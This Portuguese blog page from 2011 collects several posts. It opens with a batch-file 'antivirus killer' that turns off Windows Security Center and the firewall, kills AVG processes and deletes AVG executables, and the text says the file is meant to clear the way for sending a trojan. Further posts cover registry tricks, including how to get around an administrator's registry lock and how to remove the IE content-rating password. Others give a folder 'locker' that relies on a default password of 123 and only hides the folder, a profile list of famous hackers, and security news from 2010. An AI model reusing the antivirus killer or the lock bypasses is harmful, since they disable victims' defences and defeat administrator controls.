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quarta-feira, 5 de janeiro de 2011

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Criando um AVKILL ( matador de anti-vírus ).

@echo off
net stop wscsvc >nul
sc config wscsvc start= disabled
cls
netsh firewall set opmode mode=disable >nul
net stop SharedAccess >nul

Exemplo Avg7.5

tskill /a avgemc
tskill /a avgcc
tskill /a avgamsvr
tskill /a avgupsvc
tskill /a avgw
tskill /a avgcc
tskill /a avgcc32
tskill /a avgctrl
tskill /a avgserv
tskill /a avgserv9
tskill /a avgserv9schedap

Depois colocaremos o comando del isso ira detonar apagar o .exe do antiviros ele não vai mais funcionar ai voce pode mandar o trojan
exenplo: Avg7.5

cd C:\Arquivos de programas\Grisoft\AVG7
del /q avgemc.exe
del /q avgcc.exe
del /q avgamsvr.exe
del /q avgupsvc.exe
del /q avgw.exe.exe
del /q avgcc32.exe
del /q avgctrl.exe
del /q avgserv.exe
del /q avgserv9.exe
del /q avgserv9schedapp.exe

Ele completo Avg7.5

@echo off
net stop wscsvc >nul
sc config wscsvc start= disabled
cls
netsh firewall set opmode mode=disable >nul
net stop SharedAcce>nul
tskill /a avgemc
tskill /a avgcc
tskill /a avgamsvr
tskill /a avgupsvc
tskill /a avgw
tskill /a avgcc
tskill /a avgcc32
tskill /a avgctrl
tskill /a avgserv
tskill /a avgserv9
tskill /a avgserv9schedap

cd C:\Arquivos de programas\Grisoft\AVG7
del /q avgemc.exe
del /q avgcc.exe
del /q avgamsvr.exe
del /q avgupsvc.exe
del /q avgw.exe.exe
del /q avgcc32.exe
del /q avgctrl.exe
del /q avgserv.exe
del /q avgserv9.exe
del /q avgserv9schedapp.exe

Entendeu e muito facil agora e só salvar como .bat e mandar.

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Brincando com o Registro do Windows XP.

AVISO: Antes de qualquer alteração no editor de registro, convém fazer um back up do mesmo ou ativar a "Restauração do Sistema" no caso de alguma eventualidade!

1. Caso queira ter mais de 01 (um) IP quando conetcatado à Net, faça o seguinte:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Servic es\Class\NetTrans\0000

Nos valores IPAddress e IPMask, separando com vírgula, adicione a novo IP e a nova mascara respectivamente.

Ficará mais ou menos assim: *

                                                                    --  X  


---------------------------------------------------------------------- * * * * * * * *
Name * * * * * * * |Type * * * * * * * |Data * * * * * * * * * * * * * |
* * * * * * * * * * * *| * * * * * * * * * * * | * * * * * * * * * * * * * * * * *|
----------------------------------------------------------------------
PAddress * * * * * REG_SZ * * * * * *200.156.144.3,10.0.0.1
IPMask * * * * * * *REG_SZ * * * * * *255.255.255.0, 255.0.0.0
----------------------------------------------------------------------
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Servic es\Class\NetTrans\0000
----------------------------------------------------------------------
Observe a vírgula separando os IPs e as máscaras.
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2. Essa dica é "massa". Sabia que existe um "quinto" nível de segurança nas configurações do Internet Explorer? Em "Propriedades da Internet" na guia "Segurança" existem 4 níveis de segurança (Internet, Internet Local, Sites Confiáveis e Sites Restritos). Se quiser ativar essa "zona oculta" para modificar suas configurações faça o seguinte:

Abra o Regedit e vá na chave mostrada abaixo:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\InternetSettings\Zon
es\0

Dentro dessa chave você encontrará uma DWORD chamada "Flag", dê um duplo clique sobre ela e mude o valor dela de 21 para 1.
Agora vá no IE "Ferramentas", "Opções de Internet", "Segurança" e veja a nova opção chamada Meu Computador!
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3. A próxima dica é para os administradores de rede que não aguentam mais alguns usuários que ficam fuçando onde, na verdade, não tem permissão. Consiste em impedir que usuários possam mapear ou desconectar unidades de rede. Isso porque a opção de "Mapear Unidade de Rede", ou "Desconectar Unidade de Rede" que aparece na barra do "Explorer" e no "Meu Computador", desaparecem, não permitindo, assim que o usuário mexa nessas opções. Faça o seguinte:

Navegue até as chaves:

[HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer]

Crie uma DWORD nelas chamada NoNetConnectDisconnect coloque o valor=0 para desativar esse recurso e valor=1 para ativá-lo.
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4. Restrições de arquivos que chegam como anexo no Outlook.
Usuários leigos acabam por prejudicar toda a rede clicando em arquivos *.exe que chegam pelo Outlook. Muitas vezes, o usuário *nem culpa tem, pois esses arquivos podem ser autoexecutáveis.
Essa dica pode diminuir muito a dor de cabeça dos Administradores. Pelo Registro do Windows você pode bloquear arquivos executáveis que chegam pelo Outlook. Abra o registro e vá na seguinte chave:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Outlook Express]

Crie uma DWORD chamada BlockExeAttachments e dê o valor=1 para que arquivos executáveis sejam bloqueados, e dê o valor=0 para desativar esse bloqueio.
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5. Não tem paciência para ativar o NumLock antes de digitar a senha de logon? Aí vai uma dica para que o Teclado Numérico seja ativado quando você ligar o computador.
No Registro, vá na chave:
[HKEY_USERS\DEFAULT\Control Panel\Keyboard]

Crie uma String (REG_SZ) chamada InitialKeyboardIndicators ou modifique a que já existe. Coloque o valor=2 para ativar o Numlock (ao ligar o PC ele já ativa-se) e coloque o valor=0 para desativá-lo (não sei qual o sentido de desativá-lo).
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6. O registro foi desabilitado pelo administrador? ou seja você não acessa o regedit.

a. Crie um arquivo no Bloco de Notas com o texto abaixo
(copie e cole no Bloco):

REGEDIT4
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\System]
"DisableRegistryTools"=dword:00000000
b. Vá em (Arquivo-> Salvar como...), nomeie o arquivo e salve com a extensão .REG (ex. Menu Novo.reg)
c. Na caixa de seleção (Salvar com o tipo) Salve o arquivo como [ Todos os aqruivos (*.*) ]
d.Clique 2x no arquivo criado e quando pedir confirmação de inclusão de dados no Registro, confirme

Nota: No Windows 9x* dersonpg o cabeçalho é "REGEDIT4". Para o Windows 2000/XP troque o cabeçalho por "Windows Registry Editor Version 5.00" (sem as aspas).
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7. Outra dica "fuderosa". Monitore a ação do SFP

SFP = SYSTEM FILE PROTECTION, é esse recurso que restaura arquivos
excluídos ou substitui arquivos mais antigos pelos originais do WinMe
segundo uma base de dados. Querem ver ele em ação?

navegue até a chave:
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Systemfileprotection]
E no painel da direita mude o valor de Showpopups para 1 e reinicie a máquina.

Faça o teste: exclua ou renomeie, por exemplo o arquivo MODEM.CPL da pasta \WINDOWS\SYSTEM. Na mesma hora vai aparecer uma mensagem sobre a ação. Quer uma ação maior? Instale o Office 2000. você vai ficar maluco com tantas mini-janelas na sua tela. Não gostou da dica? Vá até a chave mencionada e troque o valor de Showpopups para 0 e reinicie a máquina.
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8. Evite que outros usuários alterem as configurações de vídeo através do menu.

Navegue até a chave:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer]
E localize o item NoViewContextMenu. Caso não exista crie um novo
item DWORD. Atribua 1 para desabilitar o menu e 0 para habilitá-lo novamente. Reinicie o computador para que as alterações tenham efeito.
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9. Perdeu a senha do Supervisor de conteúdo no IE?

Navegue até a chave:
[Hkey_local_machine\Software\Microsoft\Windows\Curr entVersion\Policies\Ratings]

Na parte direita da tela, haverá um elemento chamado KEY. Delete-o e saia do REGEDIT. Agora inicie o Internet Explorer e use o comando Exibir/Opções, e selecione a guia Segurança. Clique sobre o botão "Desativar Classificação", e será pedida uma nova senha, já que a antiga estará desabilitada.
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10. Todos sabem que podemos controlar o que pode iniciar junto com o Windows através do msconfig.exe, só que em raras vezes o que procuramos não está disponível no msconfig. Neste caso esta dica mostra onde está localizado no registro as chaves de inicialização de programas, principalmente os vírus, que adoram estas chaves. Faça uma busca pelas seguintes chaves:

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Run e \RunServices]

Curiosidade: As alterações feitas no registro de um sistema multiusuário são efetivadas de forma diferente.
As alterações feitas na chave HKEY_CURRENT_USER só afetam o usuário que estiver logado no sistema no momento, enquanto que as alterações em HKEY_LOCAL_MACHINE afetam todos os usuários, independente de quem estiver logado no momento.
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11. Remova os arquivos do histórico de reprodução do Windows Media Player. Vá em: [HKEY_CURRENT_USER\Software\Microsoft\MediaPlayer\P layer\RecentFileList] e remova as entradas.

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10 Hackers e seus grandes Feitos.

Heróis para alguns, bandidos para a maioria, os hackers fazem história na Web, muitas vezes causando até uma pontinha de inveja nos internautas comuns, que no fundo gostaria de ser um hacker, pelo menos ter seus conhecimentos. Confira abaixo uma seleção dos 10 piores/melhores hackers de todos os tempos:

1. O renegado
Adrian Lamo, 29 anos, se tornou o mais famoso “hacker do chapéu cinza” da década passada. Em 2003, invadiu o sistema do jornal The New York Times apenas para incluir a si mesmo na lista de colaboradores. O jornal não achou graça na brincadeira e denunciou Lamo ao FBI. Em 2004, ele se declarou culpado da invasão e de também ter acessado os sistemas do Yahoo, Microsoft e WorldCom, recebendo sentença de seis meses de prisão domiciliar na casa dos pais e mais dois anos de liberdade vigiada.

Seis anos depois, ele se tornou, em junho, um renegado na comunidade hacker. No último dia 8 veio à público que Lamo denunciou ao FBI o soldado Bradley Manning, 22 anos, analista de inteligência do exército americano, como o responsável pelo vazamento de informações confidenciais sobre a Guerra do Iraque, inclusive do polêmico vídeo, divulgado em abril, em que um helicóptero Apache dispara contra civis.

Manning, que aparentemente agiu contra a guerra, procurou Lamo após a publicação, em abril, pela revista Wired, de que o ex-hacker é portador da Síndrome de Asperger, uma forma de autismo, em busca de apoio. Considerava os dois “almas irmãs”, mas Lamo não pensou assim, alegando que com a denúncia salvaria vidas de militares americanos em combate.

Caiu, a partir de então, em desgraça com os ex-fãs. O site sueco Wikileaks, que publica informação confidencial de governos e empresas e pôs na internet o vídeo do ataque de helicóptero, chamou-o de "notório ladrão de informação e manipulador".

Lamo, hoje um consultor de segurança de empresas, também vive a situação inusitada de ser cumprimentado, graças a seu “patriotismo”, por pessoas que antes o criticavam pela vida de hacker.

2. O milionário
Albert Gonzalez, 29 anos, teve uma vida de riqueza graças às habilidades de hacker. Sua casa em um condomínio de Miami, na Flórida, foi comprada por US$ 1,65 milhão. Tinha carros de luxo e mulheres. Dava festas, estava sempre em bebedeiras.

Com a ajuda de um programa criado por um amigo, ele invadiu os sistemas de lojas como 7-Eleven. Se apoderou de algo como 130 milhões de números de cartões de crédito e dados dos clientes. Os roubos ocorreram entre 2005 e 2007. Os dados eram vendidos na internet. Com os cartões, Gonzalez fazia compras fraudulentas, vendendo os produtos também na web. O esquema é considerado a maior fraude da história.

Ao mesmo tempo era informante do Serviço Secreto dos Estados Unidos. Seu trabalho era justamente combater hackers.
Finalmente descoberto e preso, recebeu sentença este ano. No dia 25 de março, Gonzalez foi condenado a 20 anos de prisão, pena reduzida em cinco anos diante das alegações do hacker de que é viciado em computadores desde a infância, além de ter abusado do álcool e das drogas por vários anos e ter sintomas da Síndrome de Asperger, uma forma de autismo. A pena, contudo, poderá ser aumentada, já que ele enfrenta acusações em mais dois processos.

Uma curiosidade: os US$ 75 mil que Gonzalez recebeu do Serviço Secreto americano por seus serviços são o mesmo valor que gastou apenas em uma festa de aniversário nos “bons” tempos.
Albert Gonzalez trabalhou como informante do Serviço Secreto dos EUA, ironicamente, ajudando a combater hackers.

3. O francês do Twitter

François Cousteix, um francês de 23 anos, não pensou pequeno para se tornar célebre. Ele hackeou nada menos do que o homem mais poderoso do mundo: o presidente dos Estados Unidos, Barack Obama. Na última quinta-feira, o Tribunal de Clemont-Ferrand, na França, condenou-o a cinco meses de liberdade vigiada por ter invadido a conta de Obama no serviço de microblogs Twitter, em 2009.
"Eu não sou um hacker, ou ao menos sou um hacker amável", alegou durante a prisão, argumento que não convenceu as autoridades francesas.

Conhecido como Hacker Croll, François conseguiu uma senha de administrador do Twitter graças a um programa que faz um ataque de força bruta, testando várias senhas de login até uma ser aceita. Assim, conseguiu acesso à conta de Obama, da estrela pop Britney Spears e de serviços como Fox News e Facebook. Informações confidenciais do Twitter, como a estratégia diante da concorrência com o Facebook, foram publicadas em um site de hackers.

A ação de François, confirmada por um dos fundadores do Twitter, Biz Stone, atraiu a atenção do FBI que colaborou com a polícia francesa para sua descoberta e captura, em março.
O jovem, que tem diploma de formação profissional em Eletrônica, se defendeu no julgamento alegando que não destruiu nenhuma informação e que o delito foi uma "ação preventiva para alertar os internautas" sobre a escolha de suas senhas de acesso. Não convenceu o tribunal, que aplicou uma sentença mais rigorosa do que a pedida pelo Ministério Fiscal, de apenas dois meses.
Novato, Hacker Croll conseguiu acesso à conta no Twitter de Barack Obama, Britney Spears e serviços como Fox News.

4. O trapalhão

Pode alguém ser inteligente o bastante para ser o primeiro a desbloquear um iPad, recém-lançado, se apoderar dos e-mails e informações pessoais de cem mil usuários, entre eles alguns ilustres, como o prefeito de Nova York, Michael Bloomberg, e ainda assim acabar preso por uma mancada completamente idiota? Não? Conheça a história de Andrew Auernheimer.

Em março, Auernheimer, 24 anos, conhecido na comunidade hacker pelos apelidos de "Escher" e "Weev", foi preso após dar um nome falso a policiais em uma ocorrência de estacionamento proibido. Enquanto o caso era investigado, Goatse Security, o grupo de hackers do qual faz parte, repassou a um site as informações obtidas no desbloqueio do iPad, arranhando um pouco a imagem da Apple e da operadora de telecomunicações AT&T no que diz respeito à segurança.

O caso levou o FBI a dar uma busca na residência dele, encontrando cocaína, ecstasy, LSD e vários medicamentos proibidos. Resultado: Auernheimer acabou preso por posse de drogas e agora se encontra em um centro de detenção do Arkansas, deixando uma lição para outros hackers: se for irritar a Apple e o governo americano ao mesmo tempo, é bom tomar cuidado com o que guarda em casa.
Andrew Auernheimer foi preso por posse de drogas, após ter acesso a dados de cem mil usuários incluindo o prefeito de Nova York.

5. O pornô

A Rússia é conhecida atualmente pela ousadia e sofisticação de hackers que não agem propriamente em nome do bem. A máfia e outras organizações utilizam-nos largamente em ações criminosas como o ataque que, partindo de Moscou, roubou US$ 140 mil da bolsa eletrônica Nasdaq, nos Estados Unidos. Mas também há os brincalhões.

É o caso de um desempregado de 41 anos, cujo nome nunca veio à público, é mantido em sigilo pela polícia - que em janeiro usou seus conhecimentos para uma brincadeira ousada: exibir um filme pornô em vez de anúncios em um telão publicitário no centro da capital russa.
De um computador na cidade de Novorossiysk, no Mar Negro, ele invadiu o sistema do telão, mudando o vídeo a ser exibido. Por 20 minutos as cenas de sexo foram exibidas, provocando um grande engarrafamento no trânsito em Moscou, já que motoristas paravam os carros para ver ou filmar as cenas.

Preso semanas depois, o hacker confessou a brincadeira, dizendo que queria “entreter pessoas”. As autoridades podem ter achado alguma graça, mas, segundo a lei, ele poderá ser condenado a até dois anos de prisão. O incidente provocou discussões sobre a exibição de publicidade em telões de Moscou. Diante da possibilidade de casos semelhantes, a cidade estuda até banir este tipo de publicidade.
Na Rússia, conhecida pela ousadia de seus hackers, alguém exibiu filmes pornôs no lugar dos anúncios em um telão no centro da capital Moscou.

6. O ícone

Na “mitologia” hacker, dificilmente um nome poderá superar o de Kevin Mitnick, 46 anos. Através dos anos 80, até 1995, ele invadiu sistemas telefônicos e de empresas, ludibriou o FBI e a partir de certo ponto foi um criminoso procurado e protagonista da maior espetacular caçada cibernética já vista. Mesmo 15 anos após sua prisão e dez anos depois de ter sido libertado o hoje consultor e autor de livros sobre segurança de sistemas ainda é considerado o maior hacker de todos os tempos.

A fama de Mitnick se deve à sua ousadia. Descoberto algumas vezes, não hesitou em continuar suas atividades. Chegou até mesmo a viajar a Israel com um nome falso e viveu na clandestinidade até ser descoberto por outro hacker. Seu confronto com Tsutomu Shimomura, um respeitado especialista do Centro Nacional de Supercomputação em San Diego, é uma verdadeira caçada de gato e rato.
Mitnick acabou descoberto (veja o perfil número 7 para saber como foi) e preso em fevereiro de 1995. Condenado, passou cinco anos na prisão e mesmo libertado, no ano 2000, ainda teve que ficar mais três anos longe de computadores. A partir de 2003, longe das atividades criminosas, passou a trabalhar contra hackers, tornando sistemas inexpugnáveis.

Em janeiro deste ano, no mesmo mês em que completou dez anos longe da prisão, ele esteve em São Paulo e, participando da Campus Party, criticou o atual mundo hacker:
"Hackers, na minha época, eram apenas indivíduos interessados em roubar o fruto proibido. Hoje é tudo sobre dinheiro”.
"Hoje é tudo sobre dinheiro", disse Kevin Mitnick, um ícone hacker, quando esteve no Brasil, no início do ano.

7. O samurai

O japonês Tsutomu Shimomura, 45 anos, cientista da computação e especialista em segurança de sistemas radicado nos Estados Unidos, estava viajando no dia de Natal de 1994 quando seu computador pessoal, conectado ao Centro Nacional de Supercomputação dos Estados Unidos, foi invadido por Kevin Mitnick. O “convite”, feito por Mitnick, marca a maior caçada ocorrida entre dois hackers.

Shimomura, com a reputação abalada pela ousadia do hacker, aceitou o desafio, montando armadilhas para Mitnick em colaboração com o FBI. Primeiro colocou a gravação de seu telefonema na internet, provocando-o. Mitnick ligou novamente para repreendê-lo.
O telefone já era monitorado 24 horas por dia pelo FBI na terceira mensagem do hacker renegado. O FBI rastreou um sinal suspeito em um prédio na cidade de Raleigh, na Carolina do Norte, onde Mitnick foi preso. Diz a lenda que quando se viram frente a frente se cumprimentaram silenciosamente.

Depois da prisão, Shimoura escreveu um livro, Takedown, lançado em 1997, sobre a caçada. Ainda trabalha com segurança de sistemas.
Tsutomu Shimomura, cientista da computação, ajudou o FBI a procurar e capturar Kevin Mitnick e escreveu um livro sobre a caçada.

8. O pioneiro

Mal havia sido criada uma lei contra cibercrimes quando Robert Tapan Morris criou o primeiro vírus do tipo worm - que faz cópias de si mesmo automaticamente, passando de um computador para o outro - a se espalhar na internet. Então estudante da Universidade de Cornell, filho do ex-cientista da Agência de Segurança Nacional dos Estados Unidos Robert Morris, ele alegadamente pretendia ver qual era o verdadeiro tamanho da web de então.

O worm, todavia, se reproduziu descontroladamente afetando o funcionamento de seis mil computadores, equivalentes a 10% da internet na época, até inutilizá-los completamente. Os prejuízos em cada sistema afetado variou entre US$ 20 mil e US$ 500 mil e mostrou o perigo que viriam a ser os vírus na web.

A suposta curiosidade, apenas, de Morris não impediu que fosse a primeira pessoa a ser processada com base na lei de Abuso e Fraude de Computadores dos Estados Unidos. Acabou condenado a três anos de prisão em 1990, mas não cumpriu pena. Em vez disso, pagou multa de US$ 10 mil e prestou 400 horas de serviços comunitários.

Após os problemas com a Justiça, ele passou a se dedicar à vida acadêmica. Atualmente, aos 44 anos, é professor no Massachusetts Institute of Technology (MIT), a mesma instituição de onde disseminou o worm, consultor de empresas de tecnologia e um dos criadores da linguagem de programação Arc.

Robert Tapan Morris pagou multa de US$ 10 mil e prestou 400 horas de serviço comunitário após criar o primeiro vírus do tipo worm na internet .

9. O jornalista

Quem conhece o jornalista Kevin Poulsen, 44 anos, hoje editor da revista Wired , talvez não se dê conta de que está diante de um dos maiores hackers de todos os tempos. Ele completa o trio - os outros dois são Kevin Mitnick e Adrian Lamo - dos mais conhecidos invasores de sistemas.

Entre outros feitos, reativava números das Páginas Amarelas norte-americanas, mas seu “trabalho” mais reconhecido foi, em 1990, controlar as linhas telefônicas de uma rádio da cidade de Los Angeles e, assim, garantir que seria a 102ª pessoa a ligar e ganhar um Porsche. A fraude foi descoberta e, com o FBI no encalço, “Watchman”, como era conhecido, se tornou um criminoso procurado. Na época, a rede de TV NBC mostrou em um programa sobre crimes não-solucionados, sofrendo um pane nas mesas telefônicas abertas para telefonemas a respeito de pistas. Quem estava por trás da falha? Poulsen.

Em 1991, o hacker finalmente foi preso e condenado, três anos depois, a 51 meses de prisão e indenização de US$ 56 mil por fraudes em computadores, lavagem de dinheiro e obstrução de justiça. Libertado, reinventou-se como jornalista, criando um site, Security Focus News, respeitado na cobertura de tecnologia. Desde 2005 é editor da Wired.

Em outubro de 2006, Poulsen montou uma operação contra pedófilos no MySpace, usando páginas para rastrear quem estava em busca de crianças, levando à prisão um deles, Andrew Lubrano.
A habilidade com linhas telefônicas fez com que Kevn Poulsen fosse o ganhador de um Porsche num concurso. Hoje é editor da prestigiada revista Wired.

10. O ufologista

Há quem acredite em discos voadores. Há quem discuta se os governos escondem informações sobre objetos voadores não identificados. O escocês Gary McKinnon, 44 anos, achou que discutir não bastava e, supostamente para saber se OVNIs existem ou não, perpetrou o maior ataque já ocorrido contra computadores militares dos Estados Unidos.

Em 2002, o Pentágono admitiu que McKinnon invadiu e danificou 53 computadores do comando das Forças Armadas, do Exército, Força Aérea e Nasa, tendo acesso a informações secretas, tornando inoperante o distrito militar de Washington e causando prejuízos de cerca de US$ 1 milhão. As fotos de supostos OVNIs que obteve foram colocadas na internet anos depois.

Conhecido como “Solo” no mundo hacker, McKinnon, além de não conseguir provar a existência dos discos voadores, acabou indiciado em sete crimes nos Estados Unidos e preso na Grã-Bretanha. Um processo de extradição se arrasta desde 2003. McKinnon nunca negou as acusações de invasão, garantindo apenas que sua intenção não era a espionagem, como alegou o Pentágono. Em 2009, a Corte Suprema da Inglaterra decidiu pela extradição. Se for levado para os Estados Unidos, poderá ser condenado a até 70 anos de prisão.

Atualmente o hacker ainda tenta permanecer na Grã-Bretanha usando como argumento ser portador de autismo e depressão, constatados por uma junta médica. Sua mãe, Janis Sharp, move uma campanha pela permanência do filho. Músicos como Peter Gabriel, Sting, Bob Geldof e o grupo Marillion participaram, em 2008, de um concerto em apoio à campanha.

Gary McKinnon, segundo o Pentágono, invadiu e danificou 53 computadores do comando das Forças Armadas, causando prejuízos em torno de US$ 1 milhão.

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Proteja seu pendrive de vírus.

1º passo: Formate o pendrive como fat32.

2º passo: Vamos converter ele para NTFS, execute o cmd e insira este codigo
Código:
convert x: /fs:ntfs

3° passo: o meu computador -> ferramentas -> opçoes de pasta -> modo de exibiçao
vá com a barra até o final e desmarque as duas ultimas opçoes
usar compartilhamento simples e usar o assistente de compartilhamento.

4° passo: Crie uma pasta dentro da raiz de seu pendrive, nela ficarão todos os seus ficheiros

5º passo: Agora com o seu pendrive convertido para ntfs clique o botao direito na unidade e escolha compartilhamento e segurança

6º passo: Escolha as opçoes de segurança e repare que tem na caixa de usuarios "todos" que está com controle total,
marque apenas a opçao "ler e executar", "listar conteudo da pasta" e "leitura".

7° passo: Repita o passo 6 na pasta que foi criada, mas agora permita a todos o controle total.

Fazendo isso o seu pendrive não vai permitir que sejam gravados e nem executados arquivos pela sua raiz,
local onde se alojam os arquivos maliciosos no seu pendrive, porem da pasta que criamos você terá controle total

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Trancando pasta Sem Programas

Modo muito simples de protejer a suas pastas com senha, sem precisa de
nenhum programa!

Cria uma pasta onde quiser com qualquer nome
dentro dessa pasta, crie um arquivo .txt (no bloco de notas) com o seguinte comando:

Codigo:

cls
@ECHO OFF
title Folder Private
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Private goto MDLOCKER
:CONFIRM
echo Tem certeza de que deseja bloquear a pasta (Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Private "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Digite a senha para desbloquear pasta
set/p "pass=>"
if NOT %pass%== 123 goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Private
echo Folder Unlocked successfully
goto End
:FAIL
echo Senha Invalida
goto end
:MDLOCKER
md Private
echo Private foi criada com sucesso
goto End
:End

ta, agora vai la em Salvar Como e salve assim: locker.bat
ok.. voltando pra pasta onde foi salvo o arquivo bat

abra o arquivo \'locker.bat\' dê ENTER 2 VEZES e irá aparecer uma pasta chamada \'Private\'
essa será a pasta que ficará escondida e só será aberta com a senha que voce escolheu.
depois ter criado a pasta \'Private\', clique novamente sobre o arquivo
\'locker.bat\' e irá aparecer a janelinha do Dos .. a seguinte pergunta será feita:


Tem certeza de que deseja bloquear a pasta (Y / N)

digite Y e dê ENTER 2 VEZES

repare agora q a pasta \'Private\' desapareceu...
ela está agora oculta e só será aberta qndo clicar novamente no arquivo
\'locker.bat\', pois aí será solicitada a senha, com a seguinte frase

Digite a senha para desbloquear a pasta:

Senha padrao : 123

Caso queria mudar a senha
Antes de salvar o texto Digite CTRL + F e procure por 123 e troque pela senha q você quiser.

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Hacker divulga ferramenta que desvenda falhas em navegadores, Microsoft protesta

Engenheiro do Google Michal Zalewski alega ter avisado a Microsoft em julho, empresa de Redmond diz que problemas só foram descobertos em dezembro.

Uma pequena ferramenta chamada cross_fuzz está causando rebuliço no mundo dos navegadores, com protestos da Microsoft contra publicação da ferramenta. O pequeno software foi criado especificamente para descobrir falhas em navegadores e tem se revelado muito competente nesta função: Internet Explorer, Firefox, Opera e navegadores baseados no WebKit (Google Chrome e Safari) já tiveram algumas falhas expostas pelo programinha.

A ferramenta foi criada em meados do ano passado pelo hacker Michal “lcamtuf” Zalewski, atualmente funcionário do Google. As falhas descobertas foram repassadas aos responsáveis por cada navegador afim de que as falhas pudessem ser corrigidas, assim como o próprio cross_fuzz. E aí surge a confusão: enquanto as equipes da Mozilla, Opera e WebKit (o que inclui o Google) já tomaram providências para corrigir as falhas, a Microsoft não consertou o Internet Explorer, preferindo pedir a Zalewski que não divulgasse o programa. Zalewski recusou, e agora a Microsoft o acusa de facilitar a vida dos bandidos online.

Zalewski publicou um relato (http://bit.ly/gkQjjC) de seus contatos com a Microsoft e explica que decidiu publicar o software no tempo previsto por acreditar que as falhas já são conhecida por invasores chineses (http://bit.ly/icZReX). O relações-pública da Microsoft Jerry Bryant alega que até o dia 21/12/10 a empresa de Redmond não havia identificado nem sido informada por Zalewski de nenhuma falha, e por isto ainda a correção ainda não foi liberada.

A falha não é das mais críticas, pois nos Windows Vista e 7 o IE roda em modo protegido, limitando o impacto da vulnerabilidade, e também porque ainda não foi encontrada nenhum vírus ou ataque que faça uso desta brecha de segurança. O efeito mais imediato é portanto o aumento da animosidade entre o Google, onde Zalewski trabalha como engenheiro de segurança de sistemas, e a Microsoft, que em julho havia se queixado da divulgação de outra falha do Windows pelo Google.

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Segurança em 2010: sofisticação de ataques, brechas e vazamentos.

Ataques sofisticados e ameaças avançadas persistentes:

O ano começou com a revelação de que o Google sofreu um ataque sofisticado com o objetivo de roubar dados pertencentes a contas de e-mail e informações secretas da companhia, como códigos-fonte de seus serviços.

O alvo foi o escritório da empresa na China. Na época, boatos surgiram colocando o governo chinês como um dos principais suspeitos pelo ataque. Só no final do ano é que a teoria voltou a ganhar embasamento, com o surgimento dos telegramas vazados pelo Wikileaks: um deles aponta dois membros do Politburo, órgão máximo do Partido Comunista Chinês, como responsáveis pelo planejamento do golpe.

A invasão recebeu o nome de “Operação Aurora” e em seu núcleo estava um código malicioso avançado, capaz de permanecer despercebido nos sistemas infectados. Ele chegou nos sistemas do Google por meio de uma falha antes desconhecida no Internet Explorer, que a Microsoft corrigiu em caráter de emergência.

O caso sedimentou a noção de existência das chamadas “ameaças avançadas persistentes”: vírus criados para ataques e alvos específicos, cujo objetivo é roubar dados e monitorar atividades enquanto permanecem despercebidos. Essas ameaças, além de não serem detectadas pelos antivírus – pois seu criador fez questão de testá-las – provavelmente vão usar alguma falha desconhecida. Defender-se desses ataques é difícil, mas grandes empresas e pessoas poderosas estão sujeitas a serem alvos, como o Google.

O Stuxnet e a ciberguerra

Detectado em junho, o vírus Stuxnet começou a atrair as manchetes a partir de setembro, quando ficou clara a sua complexidade e sofisticação. O Stuxnet não usou somente uma falha antes desconhecida (como o Aurora, do Google), mas, sim, um total de quatro vulnerabilidades, cada uma com propósito diferente. A Microsoft só terminou de eliminar as falhas usadas por ele no dia 14 de dezembro.

Mas as autoridades não ficaram preocupadas com o Stuxnet pela sua sofisticação técnica e, sim, pelo seu alvo: as usinas nucleares iranianas. Pela primeira vez, um vírus estava claramente atacando complexos industriais e infraestrutura crítica. Para se espalhar, a praga usa uma brecha no Windows (hoje corrigida) no processamento de atalhos, permitindo que a simples visualização da pasta de um pen drive resulte na infecção.

Acredita-se que o principal alvo do vírus é a usina nuclear de Bushehr, no Irã. Segundo os últimos relatos do país, o vírus ainda não foi totalmente eliminado de suas instalações. Outros pesquisadores sustentam que a usina de Natanz possa ter sido um alvo também e que 1 mil centrífugas teriam sido danificadas nas instalações.

A questão levantou algumas perguntas sobre as possibilidades de uma guerra pela internet – ou “ciberguerra” –, principalmente devido aos boatos que sugerem a ligação de algum governo à criação do vírus. Os Estados Unidos terminaram de colocar o seu “cibercomando”, o USCYBERCOM, em operação. A missão pública do órgão é “coordenar e integrar as atividades militares no ciberespaço”, defender as redes de computador do exército norte-americano e realizar operações militares na internet, ao mesmo tempo em que “nega o mesmo aos adversários”.

Vazamentos de dados

Uma falha no site do Enem levou ao vazamento de dados dos estudantes inscritos. O problema foi revelado em agosto e atingiu quem fez a prova entre 2007 e 2009; informações pessoais como RG, CPF e as notas estavam disponíveis para visualização de qualquer um.

Em apuração do G1, RG e CPF de muitos cidadãos brasileiros foram achados na web, publicados tanto intencionalmente como por descuido. O país carece de legislação para prevenir a publicação dessas informações, apesar dos riscos de roubo de identidade.

Mas esses casos foram ofuscados pelo Wikileaks. Desde 2006, o site serve de escudo para aqueles que querem publicar informações sigilosas que são protegidas por restrição de acesso. Neste ano, o site ganhou grande notoriedade ao revelar informações sobre as guerras do Iraque e do Afeganistão. A mais recente façanha do grupo foi obter 250 mil telegramas de embaixadas dos EUA, contendo informações embaraçosas que podem complicar a ação dos diplomatas.

Isso foi o suficiente para colocar em destaque debates sobre a liberdade de expressão na internet. O site foi censurado por provedores e pelas empresas de cartão de crédito, que processavam as doações recebidas. Como resposta, um grupo de ativistas decidiu defender o site.

